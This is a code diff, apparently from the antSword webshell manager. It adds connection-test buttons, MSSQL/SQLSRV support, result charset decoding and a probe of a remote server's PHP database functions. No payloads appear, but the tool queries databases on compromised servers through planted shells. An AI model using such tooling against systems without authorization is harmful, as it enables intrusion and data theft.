type: 'Database type', type: 'Database type',
...@@ -447,6 +449,8 @@ module.exports = { ...@@ -447,6 +449,8 @@ module.exports = {
passwd: 'Password', passwd: 'Password',
warning: 'Please fill in the complete!', warning: 'Please fill in the complete!',
success: 'Successful add configuration!', success: 'Successful add configuration!',
test_success: 'Connection Successful!',
test_warning: 'Response is null!',
del: { del: {
title: 'Delete configuration', title: 'Delete configuration',
confirm: 'Determine delete this configuration?', confirm: 'Determine delete this configuration?',
...@@ -521,6 +525,12 @@ module.exports = { ...@@ -521,6 +525,12 @@ module.exports = {
success: 'Delete column successfully', success: 'Delete column successfully',
error: 'Failed to delete column', error: 'Failed to delete column',
} }
},
probedb: {
title: 'Detect database function support',
success: 'Check completed',
coltype: 'ConnType',
issupport: 'Support',
} }
}, },
settings: { settings: {
......
...@@ -394,6 +394,7 @@ module.exports = { ...@@ -394,6 +394,7 @@ module.exports = {
add: '添加', add: '添加',
del: '删除', del: '删除',
edit: '编辑', edit: '编辑',
check: '检测',
menu: { menu: {
add: '添加配置', add: '添加配置',
del: '删除配置', del: '删除配置',
...@@ -438,7 +439,8 @@ module.exports = { ...@@ -438,7 +439,8 @@ module.exports = {
toolbar: { toolbar: {
add: '添加', add: '添加',
clear: '清空', clear: '清空',
edit: '编辑' edit: '编辑',
test: '测试连接'
}, },
conn: '连接字符串', conn: '连接字符串',
type: '数据库类型', type: '数据库类型',
...@@ -448,6 +450,8 @@ module.exports = { ...@@ -448,6 +450,8 @@ module.exports = {
passwd: '连接密码', passwd: '连接密码',
warning: '请填写完整!', warning: '请填写完整!',
success: '成功添加配置!', success: '成功添加配置!',
test_success: '连接成功!',
test_warning: '返回数据为空',
del: { del: {
title: '删除配置', title: '删除配置',
confirm: '确定删除此配置吗?', confirm: '确定删除此配置吗?',
...@@ -522,6 +526,12 @@ module.exports = { ...@@ -522,6 +526,12 @@ module.exports = {
success: '删除列成功', success: '删除列成功',
error: '删除列失败', error: '删除列失败',
} }
},
probedb: {
title: '检测数据库函数支持',
success: '检测完毕',
coltype: '连接类型',
issupport: '状态',
} }
}, },
settings: { settings: {
......
...@@ -168,6 +168,13 @@ class ASP { ...@@ -168,6 +168,13 @@ class ASP {
type: 'button', type: 'button',
icon: 'remove', icon: 'remove',
text: LANG['form']['toolbar']['clear'] text: LANG['form']['toolbar']['clear']
}, {
type: 'separator'
}, {
id: 'test',
type: 'button',
icon: 'spinner',
text: LANG['form']['toolbar']['test']
}]); }]);
// form // form
...@@ -225,6 +232,32 @@ class ASP { ...@@ -225,6 +232,32 @@ class ASP {
this.manager.list.imgs[0] this.manager.list.imgs[0]
); );
break; break;
case 'test':
if (!form.validate()) {
return toastr.warning(LANG['form']['warning'], LANG_T['warning']);
};
// 解析数据
let _data = form.getValues();
win.progressOn();
this.core.request(
this.core[`database_${_data['type']}`].show_databases({
conn: _data['conn']
})
).then((res) => {
if(res['text'].length > 0){
if(res['text'].indexOf("ERROR://") > -1) {
throw res["text"];
}
toastr.success(LANG['form']['test_success'], LANG_T['success']);
}else{
toastr.warning(LANG['form']['test_warning'], LANG_T['warning']);
}
win.progressOff();
}).catch((err)=>{
win.progressOff();
toastr.error(JSON.stringify(err), LANG_T['error']);
});
break;
} }
}); });
} }
...@@ -259,6 +292,13 @@ class ASP { ...@@ -259,6 +292,13 @@ class ASP {
type: 'button', type: 'button',
icon: 'remove', icon: 'remove',
text: LANG['form']['toolbar']['clear'] text: LANG['form']['toolbar']['clear']
}, {
type: 'separator'
}, {
id: 'test',
type: 'button',
icon: 'spinner',
text: LANG['form']['toolbar']['test']
}]); }]);
// form // form
...@@ -310,6 +350,32 @@ class ASP { ...@@ -310,6 +350,32 @@ class ASP {
// 刷新 UI // 刷新 UI
this.parse(); this.parse();
break; break;
case 'test':
if (!form.validate()) {
return toastr.warning(LANG['form']['warning'], LANG_T['warning']);
};
// 解析数据
let _data = form.getValues();
win.progressOn();
this.core.request(
this.core[`database_${_data['type']}`].show_databases({
conn: _data['conn']
})
).then((res) => {
if(res['text'].length > 0){
if(res['text'].indexOf("ERROR://") > -1) {
throw res["text"];
}
toastr.success(LANG['form']['test_success'], LANG_T['success']);
}else{
toastr.warning(LANG['form']['test_warning'], LANG_T['warning']);
}
win.progressOff();
}).catch((err)=>{
win.progressOff();
toastr.error(JSON.stringify(err), LANG_T['error']);
});
break;
} }
}); });
} }
...@@ -438,7 +504,7 @@ class ASP { ...@@ -438,7 +504,7 @@ class ASP {
this.core[`database_${conf['type']}`].show_columns( this.core[`database_${conf['type']}`].show_columns(
{ {
conn: conf['conn'], conn: conf['conn'],
table: conf['type'] === 'oracle' ? `SELECT * FROM (SELECT A.*,ROWNUM N FROM ${table} A) WHERE N=1` : `SELECT TOP 1 * FROM ${table}` table: conf['type'] === 'oracle' ? `SELECT * FROM (SELECT A.*,ROWNUM N FROM ${table} A) WHERE N=1` : `USE [${this.dbconf['database']}];SELECT TOP 0 * FROM ${table}`
}) })
).then((res) => { ).then((res) => {
let ret = res['text']; let ret = res['text'];
...@@ -479,7 +545,8 @@ class ASP { ...@@ -479,7 +545,8 @@ class ASP {
this.core.request( this.core.request(
this.core[`database_${this.dbconf['type']}`].query({ this.core[`database_${this.dbconf['type']}`].query({
conn: this.dbconf['conn'], conn: this.dbconf['conn'],
sql: sql sql: sql,
dbname: this.dbconf['database'],
}) })
).then((res) => { ).then((res) => {
let ret = res['text']; let ret = res['text'];
......
...@@ -164,6 +164,13 @@ class CUSTOM { ...@@ -164,6 +164,13 @@ class CUSTOM {
type: 'button', type: 'button',
icon: 'remove', icon: 'remove',
text: LANG['form']['toolbar']['clear'] text: LANG['form']['toolbar']['clear']
}, {
type: 'separator'
}, {
id: 'test',
type: 'button',
icon: 'spinner',
text: LANG['form']['toolbar']['test']
}]); }]);
// form // form
...@@ -221,6 +228,32 @@ class CUSTOM { ...@@ -221,6 +228,32 @@ class CUSTOM {
this.manager.list.imgs[0] this.manager.list.imgs[0]
); );
break; break;
case 'test':
if (!form.validate()) {
return toastr.warning(LANG['form']['warning'], LANG_T['warning']);
};
// 解析数据
let _data = form.getValues();
win.progressOn();
this.core.request(
this.core[`database_${_data['type']}`].show_databases({
conn: _data['conn']
})
).then((res) => {
if(res['text'].length > 0){
if(res['text'].indexOf("ERROR://") > -1) {
throw res["text"];
}
toastr.success(LANG['form']['test_success'], LANG_T['success']);
}else{
toastr.warning(LANG['form']['test_warning'], LANG_T['warning']);
}
win.progressOff();
}).catch((err)=>{
win.progressOff();
toastr.error(JSON.stringify(err), LANG_T['error']);
});
break;
} }
}); });
} }
...@@ -255,6 +288,13 @@ class CUSTOM { ...@@ -255,6 +288,13 @@ class CUSTOM {
type: 'button', type: 'button',
icon: 'remove', icon: 'remove',
text: LANG['form']['toolbar']['clear'] text: LANG['form']['toolbar']['clear']
}, {
type: 'separator'
}, {
id: 'test',
type: 'button',
icon: 'spinner',
text: LANG['form']['toolbar']['test']
}]); }]);
// form // form
...@@ -307,6 +347,32 @@ class CUSTOM { ...@@ -307,6 +347,32 @@ class CUSTOM {
// 刷新 UI // 刷新 UI
this.parse(); this.parse();
break; break;
case 'test':
if (!form.validate()) {
return toastr.warning(LANG['form']['warning'], LANG_T['warning']);
};
// 解析数据
let _data = form.getValues();
win.progressOn();
this.core.request(
this.core[`database_${_data['type']}`].show_databases({
conn: _data['conn']
})
).then((res) => {
if(res['text'].length > 0){
if(res['text'].indexOf("ERROR://") > -1) {
throw res["text"];
}
toastr.success(LANG['form']['test_success'], LANG_T['success']);
}else{
toastr.warning(LANG['form']['test_warning'], LANG_T['warning']);
}
win.progressOff();
}).catch((err)=>{
win.progressOff();
toastr.error(JSON.stringify(err), LANG_T['error']);
});
break;
} }
}); });
} }
......
...@@ -7,6 +7,7 @@ ...@@ -7,6 +7,7 @@
// import AceEditor from 'react-ace'; // import AceEditor from 'react-ace';
const LANG = antSword['language']['database']; const LANG = antSword['language']['database'];
const LANG_T = antSword['language']['toastr'];
class Database { class Database {
...@@ -47,7 +48,7 @@ class Database { ...@@ -47,7 +48,7 @@ class Database {
// 初始化左侧列表 // 初始化左侧列表
initList(layout) { initList(layout) {
layout.setText(`<i class="fa fa-server"></i> ${LANG['list']['title']}`); layout.setText(`<i class="fa fa-server"></i> ${LANG['list']['title']}`);
layout.setWidth('250'); layout.setWidth('270');
// tree图标 // tree图标
const imgs = [ const imgs = [
...@@ -68,7 +69,9 @@ class Database { ...@@ -68,7 +69,9 @@ class Database {
{ type: 'separator' }, { type: 'separator' },
{ id: 'edit', text: LANG['list']['edit'], icon: 'edit', type: 'button', disabled: true }, { id: 'edit', text: LANG['list']['edit'], icon: 'edit', type: 'button', disabled: true },
{ type: 'separator' }, { type: 'separator' },
{ id: 'del', text: LANG['list']['del'], icon: 'trash-o', type: 'button', disabled: true } { id: 'del', text: LANG['list']['del'], icon: 'trash-o', type: 'button', disabled: true },
{ type: 'separator' },
{ id: 'check', text: LANG['list']['check'], icon: 'spinner', type: 'button' }
]); ]);
toolbar.attachEvent('onClick', (id) => { toolbar.attachEvent('onClick', (id) => {
switch(id) { switch(id) {
...@@ -81,6 +84,9 @@ class Database { ...@@ -81,6 +84,9 @@ class Database {
case 'edit': case 'edit':
this.drive.editConf(); this.drive.editConf();
break; break;
case 'check': // 探针检测支持的函数
this.checkprobe();
break;
} }
}); });
return { return {
...@@ -144,7 +150,7 @@ class Database { ...@@ -144,7 +150,7 @@ class Database {
} }
}); });
editor.session.setValue('SELECT "Hello antSword :)" AS welcome;'); editor.session.setValue("SELECT 'Hello antSword :)' AS welcome;");
return { return {
editor: editor, editor: editor,
...@@ -197,6 +203,69 @@ class Database { ...@@ -197,6 +203,69 @@ class Database {
return _win; return _win;
} }
// 检测数据库函数支持
checkprobe() {
let that = this;
let win = that.createWin({
title: LANG['probedb']['title'],
width: 350,
height: 400,
});
const func_mapping = {
// PHP
'mysql_close': 'MYSQL',
'mysqli_close': 'MYSQLI',
'mssql_close': 'MSSQL',
'sqlsrv_close': 'SQLSRV',
'ora_close': 'ORACLE',
'ifx_close': 'INFORMIX',
'sqlite_close': 'SQLite',
'pg_close': 'PostgreSQL',
'dba_close': 'DBA',
'dbmclose': 'DBM',
'filepro_fieldcount': 'FilePro',
'sybase_close': 'SyBase',
}
let grid = win.attachGrid();
grid.clearAll();
grid.setHeader(`${LANG['probedb']['coltype']},${LANG['probedb']['issupport']}`);
grid.setColTypes("ro,ro");
grid.setColSorting('str,str');
grid.setColumnMinWidth(100, 50);
grid.setInitWidths("*");
grid.setEditable(false);
grid.init();
win.progressOn();
that.drive.core.request(
that.drive.core.base.probedb()
).then((ret) => {
if(ret['text'].indexOf("ERROR://") > -1){
throw res["text"];
}
let _data = ret['text'].split('\n');
let data_arr = [];
for (let i = 0; i < _data.length; i ++) {
let item = _data[i].split('\t');
if(item.length<2){continue;}
data_arr.push({
id: i+1,
data: [
func_mapping.hasOwnProperty(item[0]) ? func_mapping[item[0]] : item[0],
parseInt(item[1]) === 1 ? "√" : "×",
],
style: parseInt(item[1]) === 1 ? "background-color:#ADF1B9": "",
});
}
grid.parse({
'rows': data_arr
}, 'json');
toastr.success(LANG['probedb']['success'], LANG_T['success']);
win.progressOff();
}).catch((err)=>{
win.progressOff();
toastr.error(JSON.stringify(err), LANG_T['error']);
});
}
} }
// export default Database; // export default Database;
......
...@@ -7,6 +7,7 @@ const LANG = antSword['language']['database']; ...@@ -7,6 +7,7 @@ const LANG = antSword['language']['database'];
const LANG_T = antSword['language']['toastr']; const LANG_T = antSword['language']['toastr'];
const dialog = antSword.remote.dialog; const dialog = antSword.remote.dialog;
const fs = require('fs'); const fs = require('fs');
const Decodes = antSword.Decodes;
class PHP { class PHP {
...@@ -72,7 +73,16 @@ class PHP { ...@@ -72,7 +73,16 @@ class PHP {
const table = Buffer.from(_co[2], 'base64').toString(); const table = Buffer.from(_co[2], 'base64').toString();
const column = Buffer.from(_co[3], 'base64').toString(); const column = Buffer.from(_co[3], 'base64').toString();
const sql = `SELECT \`${column}\` FROM \`${table}\` ORDER BY 1 DESC LIMIT 0,20;`; let sql = "";
switch(this.dbconf['type']){
case 'mssql':
case 'sqlsrv':
sql = `SELECT TOP 20 [${column}] FROM [${table}] ORDER BY 1 DESC;`;
break;
default:
sql = `SELECT \`${column}\` FROM \`${table}\` ORDER BY 1 DESC LIMIT 0,20;`;
break;
}
this.manager.query.editor.session.setValue(sql); this.manager.query.editor.session.setValue(sql);
break; break;
} }
...@@ -298,6 +308,13 @@ class PHP { ...@@ -298,6 +308,13 @@ class PHP {
type: 'button', type: 'button',
icon: 'remove', icon: 'remove',
text: LANG['form']['toolbar']['clear'] text: LANG['form']['toolbar']['clear']
}, {
type: 'separator'
}, {
id: 'test',
type: 'button',
icon: 'spinner',
text: LANG['form']['toolbar']['test']
}]); }]);
// form // form
...@@ -337,7 +354,34 @@ class PHP { ...@@ -337,7 +354,34 @@ class PHP {
})() } })() }
] }, ] },
{ text: 'MSSQL', value: 'mssql' }, { text: 'MSSQL', value: 'mssql', list: [
{ type: 'settings', position: 'label-left', offsetLeft: 70, labelWidth: 90, inputWidth: 150 },
{ type: 'label', label: LANG['form']['encode'] },
{ type: 'combo', label: '', name: 'encode', options: (() => {
let ret = [];
['utf8', 'big5', 'dec8', 'cp850', 'hp8', 'koi8r', 'latin1', 'latin2', 'ascii', 'euckr', 'gb2312', 'gbk'].map((_) => {
ret.push({
text: _,
value: _,
});
})
return ret;
})() }
] },
{ text: 'SQLSRV', value: 'sqlsrv', list: [
{ type: 'settings', position: 'label-left', offsetLeft: 70, labelWidth: 90, inputWidth: 150 },
{ type: 'label', label: LANG['form']['encode'] },
{ type: 'combo', label: '', name: 'encode', options: (() => {
let ret = [];
['utf8', 'big5', 'dec8', 'cp850', 'hp8', 'koi8r', 'latin1', 'latin2', 'ascii', 'euckr', 'gb2312', 'gbk'].map((_) => {
ret.push({
text: _,
value: _,
});
})
return ret;
})() }
]},
{ text: 'ORACLE', value: 'oracle' }, { text: 'ORACLE', value: 'oracle' },
{ text: 'INFORMIX', value: 'informix' } { text: 'INFORMIX', value: 'informix' }
] }, ] },
...@@ -353,12 +397,21 @@ class PHP { ...@@ -353,12 +397,21 @@ class PHP {
case 'mysql': case 'mysql':
case 'mysqli': case 'mysqli':
form.setFormData({ form.setFormData({
host: 'localhost:3306',
user: 'root', user: 'root',
passwd: '' passwd: ''
}); });
break; break;
case 'mssql': case 'mssql':
form.setFormData({ form.setFormData({
host: 'localhost,1433',
user: 'sa',
passwd: ''
});
break;
case 'sqlsrv':
form.setFormData({
host: 'localhost',
user: 'sa', user: 'sa',
passwd: '' passwd: ''
}); });
...@@ -399,6 +452,34 @@ class PHP { ...@@ -399,6 +452,34 @@ class PHP {
this.manager.list.imgs[0] this.manager.list.imgs[0]
); );
break; break;
case 'test':
if (!form.validate()) {
return toastr.warning(LANG['form']['warning'], LANG_T['warning']);
};
// 解析数据
let _data = form.getValues();
win.progressOn();
this.core.request(
this.core[`database_${_data['type']}`].show_databases({
host: _data['host'],
user: _data['user'],
passwd: _data['passwd']
})
).then((res) => {
if(res['text'].length > 0){
if(res['text'].indexOf("ERROR://") > -1) {
throw res["text"];
}
toastr.success(LANG['form']['test_success'], LANG_T['success']);
}else{
toastr.warning(LANG['form']['test_warning'], LANG_T['warning']);
}
win.progressOff();
}).catch((err)=>{
win.progressOff();
toastr.error(JSON.stringify(err), LANG_T['error']);
});
break;
} }
}); });
} }
...@@ -433,6 +514,13 @@ class PHP { ...@@ -433,6 +514,13 @@ class PHP {
type: 'button', type: 'button',
icon: 'remove', icon: 'remove',
text: LANG['form']['toolbar']['clear'] text: LANG['form']['toolbar']['clear']
}, {
type: 'separator'
}, {
id: 'test',
type: 'button',
icon: 'spinner',
text: LANG['form']['toolbar']['test']
}]); }]);
// form // form
...@@ -474,7 +562,35 @@ class PHP { ...@@ -474,7 +562,35 @@ class PHP {
})() } })() }
] }, ] },
{ text: 'MSSQL', value: 'mssql', selected: conf['type'] === 'mssql' }, { text: 'MSSQL', value: 'mssql', selected: conf['type'] === 'mssql', list: [
{ type: 'settings', position: 'label-left', offsetLeft: 70, labelWidth: 90, inputWidth: 150 },
{ type: 'label', label: LANG['form']['encode'] },
{ type: 'combo', label: '', name: 'encode', options: (() => {
let ret = [];
['utf8', 'big5', 'dec8', 'cp850', 'hp8', 'koi8r', 'latin1', 'latin2', 'ascii', 'euckr', 'gb2312', 'gbk'].map((_) => {
ret.push({
text: _,
value: _,
});
})
return ret;
})() }
] },
{ text: 'SQLSRV', value: 'sqlsrv', selected: conf['type'] === 'sqlsrv', list: [
{ type: 'settings', position: 'label-left', offsetLeft: 70, labelWidth: 90, inputWidth: 150 },
{ type: 'label', label: LANG['form']['encode'] },
{ type: 'combo', label: '', name: 'encode', options: (() => {
let ret = [];
['utf8', 'big5', 'dec8', 'cp850', 'hp8', 'koi8r', 'latin1', 'latin2', 'ascii', 'euckr', 'gb2312', 'gbk'].map((_) => {
ret.push({
text: _,
value: _,
selected: conf['encode'] === _
});
})
return ret;
})() }
]},
{ text: 'ORACLE', value: 'oracle', selected: conf['type'] === 'oracle' }, { text: 'ORACLE', value: 'oracle', selected: conf['type'] === 'oracle' },
{ text: 'INFORMIX', value: 'informix', selected: conf['type'] === 'informix' } { text: 'INFORMIX', value: 'informix', selected: conf['type'] === 'informix' }
] }, ] },
...@@ -540,6 +656,34 @@ class PHP { ...@@ -540,6 +656,34 @@ class PHP {
// 刷新 UI // 刷新 UI
this.parse(); this.parse();
break; break;
case 'test':
if (!form.validate()) {
return toastr.warning(LANG['form']['warning'], LANG_T['warning']);
};
// 解析数据
let _data = form.getValues();
win.progressOn();
this.core.request(
this.core[`database_${_data['type']}`].show_databases({
host: _data['host'],
user: _data['user'],
passwd: _data['passwd']
})
).then((res) => {
if(res['text'].length > 0){
if(res['text'].indexOf("ERROR://") > -1) {
throw res["text"];
}
toastr.success(LANG['form']['test_success'], LANG_T['success']);
}else{
toastr.warning(LANG['form']['test_warning'], LANG_T['warning']);
}
win.progressOff();
}).catch((err)=>{
win.progressOff();
toastr.error(JSON.stringify(err), LANG_T['error']);
});
break;
} }
}); });
} }
...@@ -1365,7 +1509,17 @@ class PHP { ...@@ -1365,7 +1509,17 @@ class PHP {
); );
}); });
// 更新编辑器SQL语句 // 更新编辑器SQL语句
this.manager.query.editor.session.setValue(`SELECT * FROM \`${table}\` ORDER BY 1 DESC LIMIT 0,20;`); let presql = "";
switch(this.dbconf['type']){
case 'mssql':
case 'sqlsrv':
presql = `SELECT TOP 20 * from [${table}] ORDER BY 1 DESC;`;
break;
default:
presql = `SELECT * FROM \`${table}\` ORDER BY 1 DESC LIMIT 0,20;`;
break;
}
this.manager.query.editor.session.setValue(presql);
this.manager.list.layout.progressOff(); this.manager.list.layout.progressOff();
}).catch((err) => { }).catch((err) => {
toastr.error(LANG['result']['error']['column'](err['status'] || JSON.stringify(err)), LANG_T['error']); toastr.error(LANG['result']['error']['column'](err['status'] || JSON.stringify(err)), LANG_T['error']);
...@@ -1436,7 +1590,12 @@ class PHP { ...@@ -1436,7 +1590,12 @@ class PHP {
arr.map((_) => { arr.map((_) => {
let _data = _.split('\t|\t'); let _data = _.split('\t|\t');
for (let i = 0; i < _data.length; i ++) { for (let i = 0; i < _data.length; i ++) {
_data[i] = antSword.noxss(Buffer.from(_data[i], "base64").toString()); let buff = Buffer.from(_data[i], "base64");
let encoding = Decodes.detectEncoding(buff, {defaultEncoding: "unknown"});
encoding = encoding != "unknown" ? encoding : this.dbconf['encode'];
encoding = encoding != "" ? encoding : this.opt['encode'];
let text = Decodes.decode(buff, encoding);
_data[i] = antSword.noxss(text);
} }
data_arr.push(_data); data_arr.push(_data);
}); });
...@@ -1469,7 +1628,13 @@ class PHP { ...@@ -1469,7 +1628,13 @@ class PHP {
arr.map((_) => { arr.map((_) => {
let _data = _.split('\t|\t'); let _data = _.split('\t|\t');
for (let i = 0; i < _data.length; i ++) { for (let i = 0; i < _data.length; i ++) {
_data[i] = antSword.noxss(Buffer.from(_data[i], "base64").toString(), false); // _data[i] = antSword.noxss(new Buffer(_data[i], "base64").toString(), false);
let buff = new Buffer.from(_data[i], "base64");
let encoding = Decodes.detectEncoding(buff, {defaultEncoding: "unknown"});
encoding = encoding != "unknown" ? encoding : this.dbconf['encode'];
encoding = encoding != "" ? encoding : this.opt['encode'];
let text = Decodes.decode(buff, encoding);
_data[i] = antSword.noxss(text, false);
} }
data_arr.push(_data); data_arr.push(_data);
}); });
......
...@@ -67,8 +67,8 @@ class Form { ...@@ -67,8 +67,8 @@ class Form {
win.progressOff(); win.progressOff();
}) })
.catch((err)=>{ .catch((err)=>{
toastr.error(JSON.stringify(err), LANG_T['error']);
win.progressOff(); win.progressOff();
toastr.error(JSON.stringify(err), LANG_T['error']);
}); });
break; break;
case 'act': case 'act':
......
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment